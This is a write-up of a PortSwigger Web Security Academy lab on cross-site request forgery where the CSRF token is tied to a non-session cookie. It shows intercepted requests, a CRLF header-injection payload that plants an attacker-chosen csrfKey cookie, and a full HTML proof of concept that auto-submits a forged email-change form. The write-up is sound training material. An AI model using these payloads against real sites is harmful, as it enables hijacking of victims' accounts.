Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — csrfKey Cookie Injection via Header Injection
Difficulty Practitioner
Target 0ace009f04c3b4d4823488a700a4000f.web-security-academy.net
Objective Change the victim's email by injecting a known csrfKey cookie and pairing it with a matching CSRF token

CSRF Where Token Is Tied to Non-Session Cookie — Writeup


Initial Observation

Two accounts available: wiener:peter and carlos:montoya. Both logged in simultaneously in separate browsers.

Screenshot

Web — Email Change Request Analysis

Intercepting both accounts' email change requests reveals a pattern — each has two cookie values and a CSRF token in the body:

POST /my-account/change-email HTTP/2
Cookie: session=BeVY0o1TBYDAim1UeZ3FewMtlk6onNgY; csrfKey=GnEEJPfd7Yrl8PTJ7hCdMIt49tL19W1q
[email protected]&csrf=UNAxn2ICeWmXKkmIiLRo9ivWpaw7n3I3
POST /my-account/change-email HTTP/2
Cookie: csrfKey=J7mjuDsL0bEpHQIczszMy9dugHt40D9i; session=Yd2YYBTW7neReRUB6ZuJHMrS2YKbls26
[email protected]&csrf=dG16VE0J5jhIVfPS6BDHTuy0K9TMAvJb
Screenshot

Both cookies differ between users, and the csrf body parameter differs too. Using the search bar and re-intercepting adds a third cookie:

Cookie: session=BeVY0o1TBYDAim1UeZ3FewMtlk6onNgY; csrfKey=GnEEJPfd7Yrl8PTJ7hCdMIt49tL19W1q; LastSearchTerm=teto
Screenshot

Two things stand out: LastSearchTerm is set by the search bar, and the CSRF token doesn't rotate between requests — it stays valid across multiple uses.

Token-to-Key Binding Analysis

Tampering with the csrfKey cookie while keeping the original csrf body token → 400 Bad Request: invalid csrf token. The key and token are linked to each other.

Screenshot

Testing the critical question: can carlos's csrfKey and csrf token be used inside wiener's session?

POST /my-account/change-email HTTP/2
Cookie: csrfKey=GnEEJPfd7Yrl8PTJ7hCdMIt49tL19W1q; session=Yd2YYBTW7neReRUB6ZuJHMrS2YKbls26
[email protected]&csrf=UNAxn2ICeWmXKkmIiLRo9ivWpaw7n3I3

302 Found — email changed.

Screenshot

The csrfKey/csrf pair is valid across different user sessions. They're linked to each other but not to the session cookie. If the attacker can inject a known csrfKey into the victim's browser, they can use the matching csrf token in the PoC and the server will accept it.

The LastSearchTerm cookie is set from the search query, which means the search endpoint writes directly to Set-Cookie. Testing whether a CRLF sequence in the search term can inject an additional Set-Cookie header:

web-security-academy.net/?search=teto%0D%0ASet-Cookie: csrfKey=miku

The %0d%0a is a URL-encoded carriage return + line feed — the standard CRLF sequence for HTTP header injection.

Screenshot

Response:

HTTP/2 200 OK
Set-Cookie: LastSearchTerm=teto
Set-Cookie: csrfKey=miku; Secure; HttpOnly
Screenshot

The server reflects the injected header. Any browser that hits this URL will have its csrfKey cookie overwritten with the attacker-controlled value.

Screenshot

The attack needs two things to happen in sequence: first, inject the known csrfKey into the victim's browser; second, fire the email change POST with the matching csrf token. Both happen in a single page load using an <img> tag for the injection step and an onerror handler to trigger the form submit once the image request completes (it will always error since the response isn't an image):

<form class="login-form" name="change-email-form" action="https://0ace009f04c3b4d4823488a700a4000f.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="hidden" name="email" value="[email protected]">
    <input required="" type="hidden" name="csrf" value="NZJSMq3SOdfMPf2VFoaBLTaRP5sNIwVO">
</form>

<img src="https://0ace009f04c3b4d4823488a700a4000f.web-security-academy.net/?search=teto%0d%0aSet-Cookie:%20csrfKey=9phmfv6XUsmgosetpznx3MYdjw4fK5X1%3b%20SameSite=None" onerror="document.forms[0].submit();">

SameSite=None is added to the injected cookie so the browser includes it in the cross-site form submission. The csrf token value in the hidden input matches the csrfKey being injected — both come from the attacker's own account.

Page load sequence:

  1. Browser fetches the <img> URL → hits the search endpoint → server sets csrfKey=9phmfv6XUsmgosetpznx3MYdjw4fK5X1 on the victim's browser.
  2. Image load fails (not an image) → onerror fires → document.forms[0].submit().
  3. POST fires with the victim's session cookie, the injected csrfKey, and the attacker's matching csrf token.
  4. Server validates key-token pair — it matches — email changes.
Screenshot

Storing the exploit and delivering to the victim solves the lab :P

Resources